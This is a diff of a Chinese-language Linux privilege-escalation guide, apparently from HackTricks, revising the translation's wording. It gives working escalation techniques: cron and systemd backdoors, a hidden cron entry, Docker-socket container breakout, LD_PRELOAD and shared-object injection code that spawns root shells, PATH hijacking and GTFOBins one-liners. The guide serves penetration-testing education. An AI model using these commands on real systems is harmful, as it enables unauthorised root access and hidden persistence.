|
||||
| LightDM (Ubuntu 桌面) | lightdm |
|
||||
| VSFTPd (活动 FTP 连接) | vsftpd |
|
||||
| Apache2 (活动 HTTP 基本认证会话) | apache2 |
|
||||
| OpenSSH (活动 SSH 会话 - Sudo 使用) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
```bash
|
||||
|
@ -340,9 +341,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
|||
# finding secrets
|
||||
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
|
||||
```
|
||||
## 定时任务/Cron 作业
|
||||
## 计划任务/Cron 作业
|
||||
|
||||
检查是否有任何可被利用的定时作业。也许你可以利用由 root 执行的脚本(通配符漏洞?可以修改 root 使用的文件?使用符号链接?在 root 使用的目录中创建特定文件?)。
|
||||
检查是否有任何计划任务存在漏洞。也许你可以利用由 root 执行的脚本(通配符漏洞?可以修改 root 使用的文件?使用符号链接?在 root 使用的目录中创建特定文件?)。
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
|
@ -352,7 +353,7 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
|
|||
|
||||
例如,在 _/etc/crontab_ 文件中,您可以找到路径:_PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
|
||||
|
||||
(_请注意用户"user"对/home/user具有写入权限_)
|
||||
(_请注意用户"user"对/home/user具有写入权限_)
|
||||
|
||||
如果在这个crontab文件中,root用户尝试执行一些命令或脚本而没有设置路径。例如:_\* \* \* \* root overwrite.sh_\
|
||||
然后,您可以通过以下方式获得root shell:
|
||||
|
@ -363,11 +364,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
|||
```
|
||||
### 使用带通配符的脚本执行 Cron 任务(通配符注入)
|
||||
|
||||
如果一个由 root 执行的脚本中的命令中包含“**\***”,你可以利用这一点执行意外操作(比如权限提升)。示例:
|
||||
如果一个由 root 执行的脚本中的命令包含“**\***”,你可以利用这一点执行意外操作(比如权限提升)。示例:
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
**如果通配符前面有路径,比如** _**/some/path/\***_ **,它就不会有漏洞(甚至** _**./\***_ **也不会有)。**
|
||||
**如果通配符前面有路径,比如** _**/some/path/\***_ **,它就不会有漏洞(即使** _**./\***_ **也不会有漏洞)。**
|
||||
|
||||
阅读以下页面以了解更多通配符利用技巧:
|
||||
|
||||
|
@ -383,15 +384,15 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
|||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
如果由root执行的脚本使用了**你拥有完全访问权限的目录**,也许删除该文件夹并**创建一个符号链接文件夹到另一个**,以便运行你控制的脚本可能会很有用
|
||||
如果由root执行的脚本使用了**你拥有完全访问权限的目录**,也许删除该文件夹并**创建一个符号链接文件夹到另一个**,以便运行你控制的脚本可能会很有用。
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
### 频繁的 cron 作业
|
||||
|
||||
您可以监视进程,以搜索每隔 1、2 或 5 分钟执行一次的进程。也许您可以利用这一点来提升权限。
|
||||
您可以监视进程,以搜索每隔 1、2 或 5 分钟执行的进程。也许您可以利用它来提升权限。
|
||||
|
||||
例如,要在**1 分钟内每 0.1 秒监视**,**按照执行次数较少的命令排序**并删除已执行最多次的命令,您可以执行:
|
||||
例如,要在 1 分钟内**每 0.1 秒监视**,**按最少执行命令排序**并删除已执行最多次的命令,您可以执行:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
|
@ -399,7 +400,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
|
|||
|
||||
### 隐形的定时任务
|
||||
|
||||
可以通过在注释后面**插入回车符**(没有换行符)来创建一个定时任务,这样定时任务将会生效。示例(注意回车符):
|
||||
可以创建一个定时任务**在注释后加一个回车符**(没有换行符),这样定时任务就会生效。示例(注意回车符):
|
||||
```bash
|
||||
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
|
||||
```
|
||||
|
@ -412,7 +413,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
|
|||
|
||||
### 可写的服务二进制文件
|
||||
|
||||
请记住,如果您对服务执行的二进制文件具有**写权限**,您可以将它们更改为后门,这样当服务被重新执行时,后门将被执行。
|
||||
请记住,如果您对服务执行的二进制文件具有**写入权限**,您可以将它们更改为后门,这样当服务被重新执行时,后门将被执行。
|
||||
|
||||
### systemd 路径 - 相对路径
|
||||
|
||||
|
@ -426,13 +427,13 @@ ExecStart=faraday-server
|
|||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
然后,在您可以写入的systemd PATH文件夹中创建一个与相对路径二进制文件同名的**可执行文件**,当服务被要求执行易受攻击的操作(**启动**,**停止**,**重新加载**)时,将执行您的**后门**(通常非特权用户无法启动/停止服务,但请检查是否可以使用 `sudo -l`)。
|
||||
然后,在您可以编写的systemd PATH文件夹中创建一个与相对路径二进制文件同名的**可执行文件**,当服务被要求执行易受攻击的操作(**启动**,**停止**,**重新加载**)时,将执行您的**后门**(通常非特权用户无法启动/停止服务,但请检查是否可以使用 `sudo -l`)。
|
||||
|
||||
**了解有关服务的更多信息,请使用 `man systemd.service`。**
|
||||
|
||||
## **定时器**
|
||||
|
||||
**定时器**是以 `**.timer**` 结尾的 systemd 单元文件,用于控制 `**.service**` 文件或事件。**定时器**可用作 cron 的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。
|
||||
**定时器**是以`**.timer**`结尾的systemd单元文件,用于控制`**.service**`文件或事件。**定时器**可用作cron的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。
|
||||
|
||||
您可以使用以下命令枚举所有定时器:
|
||||
```bash
|
||||
|
@ -440,24 +441,24 @@ systemctl list-timers --all
|
|||
```
|
||||
### 可写定时器
|
||||
|
||||
如果您可以修改一个定时器,您可以让它执行一些 systemd.unit 中已存在的内容(比如 `.service` 或 `.target`)。
|
||||
如果您可以修改一个定时器,您可以让它执行一些 `systemd.unit` 中存在的内容(比如 `.service` 或 `.target`)。
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
在文档中,您可以阅读有关 Unit 的信息:
|
||||
在文档中,您可以阅读有关 Unit 的内容:
|
||||
|
||||
> 当此定时器到期时要激活的单元。参数是一个单元名称,其后缀不是 ".timer"。如果未指定,则此值默认为与定时器单元同名的服务,除了后缀。(见上文。)建议激活的单元名称和定时器单元的单元名称相同,除了后缀。
|
||||
> 当此计时器到期时要激活的单元。参数是一个单元名称,其后缀不是 ".timer"。如果未指定,则此值默认为与计时器单元同名的服务,除了后缀。建议激活的单元名称和计时器单元的单元名称相同,除了后缀。
|
||||
|
||||
因此,要滥用此权限,您需要:
|
||||
|
||||
* 找到一些 systemd 单元(如 `.service`),其中**执行可写二进制文件**
|
||||
* 找到一些 systemd 单元,其中**执行相对路径**,并且您对**systemd 路径**具有**可写权限**(以冒充该可执行文件)
|
||||
* 找到一些 systemd 单元,其中**执行相对路径**,并且您对 **systemd PATH** 具有**可写权限**(以冒充该可执行文件)
|
||||
|
||||
**通过 `man systemd.timer` 了解更多关于定时器的信息。**
|
||||
**通过 `man systemd.timer` 了解更多关于计时器的信息。**
|
||||
|
||||
### **启用定时器**
|
||||
### **启用计时器**
|
||||
|
||||
要启用定时器,您需要 root 权限并执行:
|
||||
要启用计时器,您需要 root 权限并执行:
|
||||
```bash
|
||||
sudo systemctl enable backu2.timer
|
||||
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
|
||||
|
@ -472,20 +473,20 @@ Unix 域套接字 (UDS) 在客户端-服务器模型中允许**进程通信**,
|
|||
|
||||
**通过 `man systemd.socket` 了解更多关于套接字的信息。** 在这个文件中,可以配置几个有趣的参数:
|
||||
|
||||
* `ListenStream`、`ListenDatagram`、`ListenSequentialPacket`、`ListenFIFO`、`ListenSpecial`、`ListenNetlink`、`ListenMessageQueue`、`ListenUSBFunction`:这些选项不同,但概括地用于**指示它将在哪里监听**套接字(AF_UNIX 套接字文件的路径,要监听的 IPv4/6 和/或端口号等)。
|
||||
* `Accept`:接受一个布尔参数。如果为**true**,则为每个传入连接**生成一个服务实例**,并且只传递连接套接字给它。如果为**false**,则所有监听套接字本身都会**传递给启动的服务单元**,并且只为所有连接生成一个服务单元。对于数据报套接字和 FIFO,在那里一个服务单元无条件地处理所有传入流量。**默认为 false**。出于性能原因,建议仅以适合 `Accept=no` 的方式编写新的守护程序。
|
||||
* `ListenStream`、`ListenDatagram`、`ListenSequentialPacket`、`ListenFIFO`、`ListenSpecial`、`ListenNetlink`、`ListenMessageQueue`、`ListenUSBFunction`:这些选项不同,但总结用于**指示它将在哪里监听**套接字(AF_UNIX 套接字文件的路径,要监听的 IPv4/6 和/或端口号等)。
|
||||
* `Accept`:接受一个布尔参数。如果为**true**,则为每个传入连接**生成一个服务实例**,并且只传递连接套接字给它。如果为**false**,则所有监听套接字本身都会**传递给启动的服务单元**,并且只为所有连接生成一个服务单元。对于数据报套接字和 FIFO,在那里一个单一服务单元无条件地处理所有传入流量,此值将被忽略。**默认为 false**。出于性能原因,建议仅以适合 `Accept=no` 的方式编写新的守护程序。
|
||||
* `ExecStartPre`、`ExecStartPost`:接受一个或多个命令行,这些命令行在创建和绑定监听**套接字**/FIFO 之前或之后**执行**。命令行的第一个标记必须是绝对文件名,然后是进程的参数。
|
||||
* `ExecStopPre`、`ExecStopPost`:额外的**命令**,在关闭和移除监听**套接字**/FIFO 之前或之后**执行**。
|
||||
* `Service`:指定在**传入流量**上**激活**的**服务**单元名称。此设置仅允许对 `Accept=no` 的套接字使用。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不应该需要使用此选项。
|
||||
* `Service`:指定要在**传入流量**上**激活**的**服务**单元名称。此设置仅允许用于 `Accept=no` 的套接字。默认为与套接字同名的服务(后缀替换)。在大多数情况下,不应该需要使用此选项。
|
||||
|
||||
### 可写的 .socket 文件
|
||||
|
||||
如果找到一个**可写**的`.socket`文件,你可以在`[Socket]`部分的开头添加类似于:`ExecStartPre=/home/kali/sys/backdoor`,那么在创建套接字之前将执行后门。因此,你**可能需要等待机器重新启动。**\
|
||||
如果找到一个**可写**的`.socket`文件,你可以在`[Socket]`部分的开头添加类似于:`ExecStartPre=/home/kali/sys/backdoor`,那么在创建套接字之前将执行后门。因此,你**可能需要等待机器重启。**\
|
||||
_请注意系统必须使用该套接字文件配置,否则后门将不会被执行_
|
||||
|
||||
### 可写套接字
|
||||
|
||||
如果你**识别出任何可写套接字**(现在我们谈论的是 Unix 套接字,而不是配置`.socket`文件),那么**你可以与该套接字通信**,也许利用一个漏洞。
|
||||
如果你**识别出任何可写套接字**(_现在我们谈论的是 Unix 套接字,而不是配置`.socket`文件_),那么**你可以与该套接字通信**,也许利用一个漏洞。
|
||||
|
||||
### 枚举 Unix 套接字
|
||||
```bash
|
||||
|
@ -508,15 +509,15 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of
|
|||
|
||||
### HTTP sockets
|
||||
|
||||
请注意,可能会有一些**用于监听HTTP请求的套接字**(_我指的不是.socket文件,而是充当Unix套接字的文件_)。您可以使用以下命令检查:
|
||||
请注意,可能有一些**用于监听HTTP请求的套接字**(_我指的不是 .socket 文件,而是充当 Unix 套接字的文件_)。您可以使用以下命令检查:
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
### 可写的Docker套接字
|
||||
|
||||
Docker套接字通常位于`/var/run/docker.sock`,是一个应该被保护的关键文件。默认情况下,它可被`root`用户和`docker`组的成员写入。拥有对此套接字的写入访问权限可能导致特权升级。以下是如何实现此操作的详细步骤,以及在无法使用Docker CLI时的替代方法。
|
||||
Docker套接字通常位于`/var/run/docker.sock`,是一个关键文件,应该得到保护。默认情况下,它可被`root`用户和`docker`组的成员写入。拥有对此套接字的写入访问权限可能导致特权升级。以下是如何实现此操作的详细步骤,以及在无法使用Docker CLI时的替代方法。
|
||||
|
||||
#### 使用Docker CLI进行特权升级
|
||||
#### **使用Docker CLI进行特权升级**
|
||||
|
||||
如果您对Docker套接字具有写入访问权限,可以使用以下命令升级特权:
|
||||
```bash
|
||||
|
@ -527,14 +528,14 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
|
|||
|
||||
#### **直接使用 Docker API**
|
||||
|
||||
在没有 Docker CLI 的情况下,仍然可以使用 Docker API 和 `curl` 命令来操作 Docker 套接字。
|
||||
在 Docker CLI 不可用的情况下,仍然可以使用 Docker API 和 `curl` 命令来操作 Docker 套接字。
|
||||
|
||||
1. **列出 Docker 镜像:** 检索可用镜像列表。
|
||||
|
||||
```bash
|
||||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
||||
```
|
||||
2. **创建一个容器:** 发送请求以创建一个容器,该容器挂载主机系统的根目录。
|
||||
2. **创建一个容器:** 发送一个请求来创建一个容器,挂载主机系统的根目录。
|
||||
|
||||
```bash
|
||||
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
|
||||
|
@ -559,7 +560,7 @@ Upgrade: tcp
|
|||
|
||||
### 其他
|
||||
|
||||
请注意,如果您对 Docker 套接字拥有写权限,因为您在 **`docker` 组内**,您有[**更多提升权限的方法**](interesting-groups-linux-pe/#docker-group)。如果 [**docker API 在某个端口上监听**,您也可能能够对其进行妥协](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
|
||||
请注意,如果您对 Docker 套接字拥有写权限,因为您在 **`docker` 组内**,您有[**更多提升权限的方法**](interesting-groups-linux-pe/#docker-group)。如果 [**docker API 在某个端口上监听**,您也可以可能对其进行妥协](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
|
||||
|
||||
在以下位置检查**更多从 Docker 中突破或滥用以提升权限的方法**:
|
||||
|
||||
|
@ -569,7 +570,7 @@ Upgrade: tcp
|
|||
|
||||
## Containerd (ctr) 特权升级
|
||||
|
||||
如果您发现可以使用 **`ctr`** 命令,请阅读以下页面,因为**您可能能够滥用它来提升权限**:
|
||||
如果您发现可以使用 **`ctr`** 命令,请阅读以下页面,因为**您可能可以滥用它来提升权限**:
|
||||
|
||||
{% content-ref url="containerd-ctr-privilege-escalation.md" %}
|
||||
[containerd-ctr-privilege-escalation.md](containerd-ctr-privilege-escalation.md)
|
||||
|
@ -577,7 +578,7 @@ Upgrade: tcp
|
|||
|
||||
## **RunC** 特权升级
|
||||
|
||||
如果您发现可以使用 **`runc`** 命令,请阅读以下页面,因为**您可能能够滥用它来提升权限**:
|
||||
如果您发现可以使用 **`runc`** 命令,请阅读以下页面,因为**您可能可以滥用它来提升权限**:
|
||||
|
||||
{% content-ref url="runc-privilege-escalation.md" %}
|
||||
[runc-privilege-escalation.md](runc-privilege-escalation.md)
|
||||
|
@ -589,11 +590,11 @@ D-Bus 是一个复杂的**进程间通信(IPC)系统**,使应用程序能
|
|||
|
||||
该系统功能强大,支持增强数据交换的基本 IPC,类似于**增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护程序的来电信号可以提示音乐播放器静音,增强用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的流程。
|
||||
|
||||
D-Bus 采用**允许/拒绝模型**运行,根据匹配策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略规定了与总线的交互,可能允许通过利用这些权限来提升权限。
|
||||
D-Bus 采用**允许/拒绝模型**运行,根据匹配策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略指定与总线的交互,可能允许通过利用这些权限来提升权限。
|
||||
|
||||
在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了一个这样的策略示例,详细说明了根用户拥有、发送到和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。
|
||||
|
||||
未指定用户或组的策略适用于所有情况,而“default” 上下文策略适用于所有未被其他特定策略覆盖的情况。
|
||||
未指定用户或组的策略适用于所有情况,而“默认”上下文策略适用于所有未被其他特定策略覆盖的情况。
|
||||
```xml
|
||||
<policy user="root">
|
||||
<allow own="fi.w1.wpa_supplicant1"/>
|
||||
|
@ -610,7 +611,7 @@ D-Bus 采用**允许/拒绝模型**运行,根据匹配策略规则的累积效
|
|||
|
||||
## **网络**
|
||||
|
||||
枚举网络并找出机器位置总是很有趣。
|
||||
枚举网络并确定机器位置总是很有趣。
|
||||
|
||||
### 通用枚举
|
||||
```bash
|
||||
|
@ -652,7 +653,7 @@ timeout 1 tcpdump
|
|||
|
||||
### 通用枚举
|
||||
|
||||
检查您是**谁**,您拥有哪些**特权**,系统中有哪些**用户**,哪些用户可以**登录**,哪些用户具有**root特权**:
|
||||
检查您是**谁**,您拥有哪些**特权**,系统中有哪些**用户**,哪些可以**登录**,哪些拥有**root特权**:
|
||||
```bash
|
||||
#Info about me
|
||||
id || (whoami && groups) 2>/dev/null
|
||||
|
@ -676,12 +677,12 @@ gpg --list-keys 2>/dev/null
|
|||
```
|
||||
### 大 UID
|
||||
|
||||
一些 Linux 版本受到一个允许具有 **UID > INT\_MAX** 的用户提升权限的漏洞影响。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 和 [here](https://twitter.com/paragonsec/status/1071152249529884674)。\
|
||||
一些 Linux 版本受到一个允许具有 **UID > INT\_MAX** 的用户提升权限的漏洞影响。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 和 [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**利用方法**:使用 **`systemd-run -t /bin/bash`**
|
||||
|
||||
### 组
|
||||
### 用户组
|
||||
|
||||
检查是否是某个组的**成员**,该组可能授予您 root 权限:
|
||||
检查是否是一些用户组的成员,这些用户组可能授予您 root 权限:
|
||||
|
||||
{% content-ref url="interesting-groups-linux-pe/" %}
|
||||
[interesting-groups-linux-pe](interesting-groups-linux-pe/)
|
||||
|
@ -706,22 +707,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
|
|||
```
|
||||
### 已知密码
|
||||
|
||||
如果您**知道环境中的任何密码**,请尝试使用该密码**以每个用户身份登录**。
|
||||
如果你**知道环境中的任何密码**,尝试使用密码**以每个用户身份登录**。
|
||||
|
||||
### Su Brute
|
||||
|
||||
如果不介意制造很多噪音,并且计算机上存在`su`和`timeout`二进制文件,您可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)来暴力破解用户。\
|
||||
如果不介意制造很多噪音,并且计算机上存在`su`和`timeout`二进制文件,你可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)来暴力破解用户。\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)在使用`-a`参数时也会尝试暴力破解用户。
|
||||
|
||||
## 可写路径滥用
|
||||
|
||||
### $PATH
|
||||
|
||||
如果您发现您可以**在$PATH的某个文件夹中写入内容**,您可能可以通过**在可写文件夹中创建一个后门**,命名为将由不同用户(最好是root)执行的某个命令,且该命令**不是从位于您的可写文件夹之前的文件夹加载**。
|
||||
如果你发现你可以**在$PATH的某个文件夹中写入内容**,你可能可以通过**在可写文件夹中创建一个后门**,命名为将由不同用户(最好是root)执行的某个命令的名称来提升权限,而该命令**不是从$PATH中位于你可写文件夹之前的文件夹加载**。
|
||||
|
||||
### SUDO和SUID
|
||||
|
||||
您可能被允许使用sudo执行某些命令,或者它们可能具有suid位。使用以下命令进行检查:
|
||||
你可能被允许使用sudo执行某些命令,或者它们可能具有suid位。使用以下命令进行检查:
|
||||
```bash
|
||||
sudo -l #Check commands you can execute with sudo
|
||||
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
||||
|
@ -743,13 +744,13 @@ $ sudo -l
|
|||
User demo may run the following commands on crashlab:
|
||||
(root) NOPASSWD: /usr/bin/vim
|
||||
```
|
||||
在这个例子中,用户 `demo` 可以将 `vim` 作为 `root` 运行,现在可以通过将一个 ssh 密钥添加到根目录或调用 `sh` 来轻松获取 shell。
|
||||
在这个例子中,用户`demo`可以将`vim`作为`root`运行,现在可以通过将一个ssh密钥添加到根目录或调用`sh`来轻松获取一个shell。
|
||||
```
|
||||
sudo vim -c '!sh'
|
||||
```
|
||||
### SETENV
|
||||
|
||||
该指令允许用户在执行某些操作时**设置一个环境变量**:
|
||||
该指令允许用户在执行某些操作时**设置环境变量**:
|
||||
```bash
|
||||
$ sudo -l
|
||||
User waldo may run the following commands on admirer:
|
||||
|
@ -778,7 +779,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
|
|||
```
|
||||
**对策**:[https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
|
||||
|
||||
### 没有指定命令路径的Sudo命令/SUID二进制文件
|
||||
### 不带命令路径的Sudo命令/SUID二进制文件
|
||||
|
||||
如果给予**sudo权限**给单个命令**而没有指定路径**:_hacker10 ALL= (root) less_,您可以通过更改PATH变量来利用它
|
||||
```bash
|
||||
|
@ -792,7 +793,7 @@ sudo less
|
|||
|
||||
### 具有命令路径的SUID二进制文件
|
||||
|
||||
如果**suid**二进制文件**执行另一个指定路径的命令**,那么您可以尝试**导出一个与suid文件调用的命令同名的函数**。
|
||||
如果**suid**二进制文件**执行另一个指定路径的命令**,那么您可以尝试**导出一个函数**,命名为suid文件调用的命令。
|
||||
|
||||
例如,如果一个suid二进制文件调用 _**/usr/sbin/service apache2 start**_,您必须尝试创建并导出该函数:
|
||||
```bash
|
||||
|
@ -801,14 +802,14 @@ export -f /usr/sbin/service
|
|||
```
|
||||
### LD\_PRELOAD & **LD\_LIBRARY\_PATH**
|
||||
|
||||
**LD\_PRELOAD**环境变量用于指定要在加载器加载所有其他库之前加载的一个或多个共享库(.so文件),包括标准C库(`libc.so`)。这个过程称为预加载库。
|
||||
**LD\_PRELOAD**环境变量用于指定要在加载器加载所有其他库之前加载的一个或多个共享库(.so文件),包括标准C库(`libc.so`)。这个过程被称为预加载库。
|
||||
|
||||
然而,为了维护系统安全并防止这个特性被滥用,特别是对于**suid/sgid**可执行文件,系统强制执行一些条件:
|
||||
然而,为了维护系统安全并防止这个功能被滥用,特别是对于**suid/sgid**可执行文件,系统强制执行一些条件:
|
||||
|
||||
- 加载器对于真实用户ID(_ruid_)不匹配有效用户ID(_euid_)的可执行文件会忽略**LD\_PRELOAD**。
|
||||
- 加载器对于真实用户ID(_ruid_)与有效用户ID(_euid_)不匹配的可执行文件忽略**LD\_PRELOAD**。
|
||||
- 对于带有suid/sgid的可执行文件,只有标准路径中也具有suid/sgid属性的库会被预加载。
|
||||
|
||||
如果你有能力使用`sudo`执行命令,并且`sudo -l`的输出包含语句**env\_keep+=LD\_PRELOAD**,特权升级可能会发生。这种配置允许**LD\_PRELOAD**环境变量持久存在并在使用`sudo`运行命令时被识别,可能导致以提升的权限执行任意代码。
|
||||
如果您有能力使用`sudo`执行命令,并且`sudo -l`的输出包含语句**env\_keep+=LD\_PRELOAD**,特权升级可能会发生。这种配置允许**LD\_PRELOAD**环境变量持久存在并在使用`sudo`运行命令时被识别,可能导致以提升的权限执行任意代码。
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
|
@ -835,7 +836,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
|||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
如果攻击者控制**LD\_LIBRARY\_PATH**环境变量,那么类似的权限提升漏洞可能会被滥用,因为攻击者控制了库文件的搜索路径。
|
||||
如果攻击者控制**LD\_LIBRARY\_PATH**环境变量,因为他控制库将被搜索的路径,类似的权限提升可能会被滥用。
|
||||
{% endhint %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
@ -858,13 +859,13 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
|||
```
|
||||
### SUID二进制文件 - .so注入
|
||||
|
||||
当遇到具有不寻常**SUID**权限的二进制文件时,验证它是否正确加载**.so**文件是一个好习惯。可以通过运行以下命令来检查:
|
||||
当遇到具有**SUID**权限且看起来不寻常的二进制文件时,最好的做法是验证它是否正确加载**.so**文件。可以通过运行以下命令来检查:
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
例如,遇到类似 _"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)"_ 的错误表明存在潜在的利用可能。
|
||||
|
||||
要利用这个问题,可以按照以下步骤创建一个名为 _"/path/to/.config/libcalc.c"_ 的 C 文件,其中包含以下代码:
|
||||
要利用这个问题,可以按照以下步骤创建一个 C 文件,比如 _"/path/to/.config/libcalc.c"_,其中包含以下代码:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -877,13 +878,13 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
|
|||
```
|
||||
这段代码一旦编译并执行,旨在通过操纵文件权限并以提升的权限执行shell来提升权限。
|
||||
|
||||
将上述C文件编译为共享对象(.so)文件:
|
||||
使用以下命令将上述C文件编译为共享对象(.so)文件:
|
||||
```bash
|
||||
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
|
||||
```
|
||||
## 共享对象劫持
|
||||
|
||||
最后,运行受影响的SUID二进制文件应该触发漏洞利用,从而可能导致系统受损。
|
||||
最后,运行受影响的SUID二进制文件应该会触发利用,从而可能导致系统受损。
|
||||
```bash
|
||||
# Lets find a SUID using a non-standard library
|
||||
ldd some_suid
|
||||
|
@ -906,7 +907,7 @@ setresuid(0,0,0);
|
|||
system("/bin/bash -p");
|
||||
}
|
||||
```
|
||||
如果您遇到类似以下错误:
|
||||
如果您遇到以下错误:
|
||||
```shell-session
|
||||
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
|
||||
```
|
||||
|
@ -914,9 +915,9 @@ system("/bin/bash -p");
|
|||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io)是一个策划的Unix二进制文件列表,攻击者可以利用这些二进制文件来绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/)是相同的,但适用于只能在命令中**注入参数**的情况。
|
||||
[**GTFOBins**](https://gtfobins.github.io)是一个策划的Unix二进制文件列表,攻击者可以利用这些文件来绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/)是相同的,但适用于只能在命令中**注入参数**的情况。
|
||||
|
||||
该项目收集了Unix二进制文件的合法功能,这些功能可以被滥用以打破受限制的shell,提升或保持提升的特权,传输文件,生成绑定和反向shell,并促进其他后期利用任务。
|
||||
该项目收集了Unix二进制文件的合法功能,这些功能可以被滥用以突破受限制的shell、提升或保持提升的特权、传输文件、生成绑定和反向shell,并促进其他后期利用任务。
|
||||
|
||||
> gdb -nx -ex '!sh' -ex quit\
|
||||
> sudo mysql -e '! /bin/sh'\
|
||||
|
@ -938,7 +939,7 @@ system("/bin/bash -p");
|
|||
提升特权的要求:
|
||||
|
||||
* 你已经作为用户"_sampleuser_"拥有一个shell
|
||||
* "_sampleuser_"已经**使用`sudo`**在**最近15分钟**内执行了某些操作(默认情况下,这是允许我们使用`sudo`而不需要输入任何密码的sudo令牌的持续时间)
|
||||
* "_sampleuser_"已经**使用`sudo`**在**最近15分钟**内执行了某些操作(默认情况下,这是sudo令牌的持续时间,允许我们在不输入任何密码的情况下使用`sudo`)
|
||||
* `cat /proc/sys/kernel/yama/ptrace_scope`为0
|
||||
* 可以访问`gdb`(你可以上传它)
|
||||
|
||||
|
@ -946,38 +947,38 @@ system("/bin/bash -p");
|
|||
|
||||
如果所有这些要求都满足,**你可以使用以下方式提升特权:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject)
|
||||
|
||||
* **第一个利用**(`exploit.sh`)将在_tmp_中创建二进制文件`activate_sudo_token`。你可以使用它来**激活你的会话中的sudo令牌**(你不会自动获得root shell,请执行`sudo su`):
|
||||
* **第一个利用**(`exploit.sh`)将在_tmp_中创建二进制文件`activate_sudo_token`。你可以使用它来**在你的会话中激活sudo令牌**(你不会自动获得root shell,请执行`sudo su`):
|
||||
```bash
|
||||
